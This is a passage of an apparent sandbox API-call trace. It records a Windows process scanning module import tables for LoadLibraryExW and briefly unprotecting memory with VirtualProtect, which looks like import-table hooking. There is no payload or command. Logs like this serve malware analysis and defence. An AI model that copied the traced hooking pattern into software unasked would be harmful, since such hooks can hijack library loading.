[0073.545] lstrcmpiA (lpString1="GetVolumeInformationByHandleW", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="GetFileInformationByHandleEx", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="ReplaceFileW", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="SetFileInformationByHandle", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="SetFilePointer", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="WriteFile", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="SetEndOfFile", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="LockFileEx", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="UnlockFileEx", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="LocalSize", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="OpenProcess", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="GlobalAddAtomW", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="DuplicateHandle", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="CreateFileMappingA", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="GlobalDeleteAtom", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="DeleteTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="CreateTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="QueueUserWorkItem", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="AcquireSRWLockShared", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="ReleaseSRWLockShared", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="WritePrivateProfileStringW", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="GetModuleHandleExW", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="FormatMessageW", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="SizeofResource", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="LoadResource", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="FormatMessageA", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="InitializeSRWLock", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0073.546] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0073.546] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0073.546] VirtualProtect (in: lpAddress=0x7fefd605248, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x2) returned 1 [0073.547] VirtualProtect (in: lpAddress=0x7fefd605248, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x40) returned 1 [0073.547] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefee30000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefee30000, AllocationBase=0x7fefee30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.547] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.547] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040dd0 [0073.547] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.547] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.547] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.547] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.547] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0073.547] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0073.547] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0073.547] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0073.547] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="LoadLibraryExW") returned 1 [0073.547] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.547] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.547] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.547] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.547] lstrcmpiA (lpString1="GetLocalTime", lpString2="LoadLibraryExW") returned -1 [0073.547] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0073.547] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0073.547] lstrcmpiA (lpString1="GetOEMCP", lpString2="LoadLibraryExW") returned -1 [0073.547] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0073.547] lstrcmpiA (lpString1="LoadResource", lpString2="LoadLibraryExW") returned 1 [0073.547] lstrcmpiA (lpString1="SizeofResource", lpString2="LoadLibraryExW") returned 1 [0073.548] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0073.548] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0073.548] VirtualProtect (in: lpAddress=0x7fefee82268, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x2) returned 1 [0073.548] VirtualProtect (in: lpAddress=0x7fefee82268, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x40) returned 1 [0073.548] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x76f40000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x76f40000, AllocationBase=0x76f40000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.548] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.548] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040e40 [0073.548] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.548] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.548] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.548] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0073.548] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.548] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.548] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0073.548] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0073.548] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0073.548] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0073.548] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="LoadLibraryExW") returned -1 [0073.548] lstrcmpiA (lpString1="GlobalAddAtomA", lpString2="LoadLibraryExW") returned -1 [0073.548] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="LoadLibraryExW") returned -1 [0073.548] lstrcmpiA (lpString1="GlobalFindAtomA", lpString2="LoadLibraryExW") returned -1 [0073.548] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0073.548] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0073.548] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0073.548] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="LoadLibraryExW") returned 1 [0073.549] lstrcmpiA (lpString1="LCMapStringW", lpString2="LoadLibraryExW") returned -1 [0073.549] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0073.549] lstrcmpiA (lpString1="GetFileSize", lpString2="LoadLibraryExW") returned -1 [0073.549] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0073.549] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0073.549] lstrcmpiA (lpString1="GetVersionExW", lpString2="LoadLibraryExW") returned -1 [0073.549] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="LoadLibraryExW") returned 1 [0073.549] lstrcmpiA (lpString1="RegEnumValueW", lpString2="LoadLibraryExW") returned 1 [0073.549] lstrcmpiA (lpString1="RegQueryInfoKeyW", lpString2="LoadLibraryExW") returned 1 [0073.549] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="LoadLibraryExW") returned 1 [0073.549] lstrcmpiA (lpString1="GetSystemDefaultLangID", lpString2="LoadLibraryExW") returned -1 [0073.549] lstrcmpiA (lpString1="IsDBCSLeadByte", lpString2="LoadLibraryExW") returned -1 [0073.549] lstrcmpiA (lpString1="WerpNotifyUseStringResource", lpString2="LoadLibraryExW") returned 1 [0073.549] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0073.549] lstrcmpiA (lpString1="ProcessIdToSessionId", lpString2="LoadLibraryExW") returned 1 [0073.549] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0073.549] lstrcmpiA (lpString1="GetThreadLocale", lpString2="LoadLibraryExW") returned -1 [0073.549] lstrcmpiA (lpString1="GetLogicalDrives", lpString2="LoadLibraryExW") returned -1 [0073.549] lstrcmpiA (lpString1="FindClose", lpString2="LoadLibraryExW") returned -1 [0073.549] lstrcmpiA (lpString1="FindNextFileW", lpString2="LoadLibraryExW") returned -1 [0073.549] lstrcmpiA (lpString1="FindFirstFileW", lpString2="LoadLibraryExW") returned -1 [0073.549] VirtualProtect (in: lpAddress=0x76fc2878, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x2) returned 1 [0073.549] VirtualProtect (in: lpAddress=0x76fc2878, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x40) returned 1 [0073.550] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff1b0000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7feff1b0000, AllocationBase=0x7feff1b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.550] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.550] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040eb0 [0073.550] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.550] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.550] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.550] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.550] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.550] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.550] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.550] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.550] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.550] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.550] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.550] lstrcmpiA (lpString1="USP10.dll", lpString2="KERNEL32.DLL") returned 1 [0073.550] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2040eb0 | out: hHeap=0x2030000) returned 1 [0073.550] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd7f0000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefd7f0000, AllocationBase=0x7fefd7f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.550] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.550] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040eb0 [0073.550] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.550] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.550] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0073.550] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0073.550] lstrcmpiA (lpString1="HeapSize", lpString2="LoadLibraryExW") returned -1 [0073.550] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0073.550] lstrcmpiA (lpString1="FindResourceA", lpString2="LoadLibraryExW") returned -1 [0073.550] lstrcmpiA (lpString1="LoadResource", lpString2="LoadLibraryExW") returned 1 [0073.550] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0073.550] lstrcmpiA (lpString1="HeapDestroy", lpString2="LoadLibraryExW") returned -1 [0073.550] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0073.550] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0073.550] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0073.550] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0073.550] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="HeapCreate", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="GetVersionExA", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="CreateFileA", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="lstrcmpiA", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="GetProfileStringA", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="GetProfileIntA", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="IsValidLocale", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="ConvertDefaultLocale", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.551] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0073.551] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="CreateFileMappingA", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.552] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.552] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.552] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2040eb0 | out: hHeap=0x2030000) returned 1 [0073.552] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef77f0000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fef77f0000, AllocationBase=0x7fef77f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.552] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.552] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040eb0 [0073.552] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.552] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.552] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.552] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.552] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.552] lstrcmpiA (lpString1="GetVersionExA", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="RaiseException", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="CompareStringOrdinal", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="WaitForSingleObjectEx", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0073.552] lstrcmpiA (lpString1="HeapSize", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0073.552] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="PulseEvent", lpString2="LoadLibraryExW") returned 1 [0073.553] lstrcmpiA (lpString1="GetFileTime", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="GetSystemInfo", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="CheckForReadOnlyResource", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="GetFileSize", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="DeleteFileW", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="_lread", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="GlobalHandle", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="MoveFileW", lpString2="LoadLibraryExW") returned 1 [0073.553] lstrcmpiA (lpString1="GetTempPathW", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="_lclose", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="_lwrite", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="_llseek", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="GetTempFileNameW", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0073.553] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="Beep", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="SizeofResource", lpString2="LoadLibraryExW") returned 1 [0073.553] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0073.553] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0073.553] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0073.553] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.601] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.601] lstrcmpiA (lpString1="HeapReAlloc", lpString2="LoadLibraryExW") returned -1 [0073.602] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0073.602] lstrcmpiA (lpString1="SearchPathW", lpString2="LoadLibraryExW") returned 1 [0073.602] lstrcmpiA (lpString1="ExitThread", lpString2="LoadLibraryExW") returned -1 [0073.602] lstrcmpiA (lpString1="CreateEventA", lpString2="LoadLibraryExW") returned -1 [0073.602] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0073.602] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0073.602] lstrcmpiA (lpString1="GetPrivateProfileStringW", 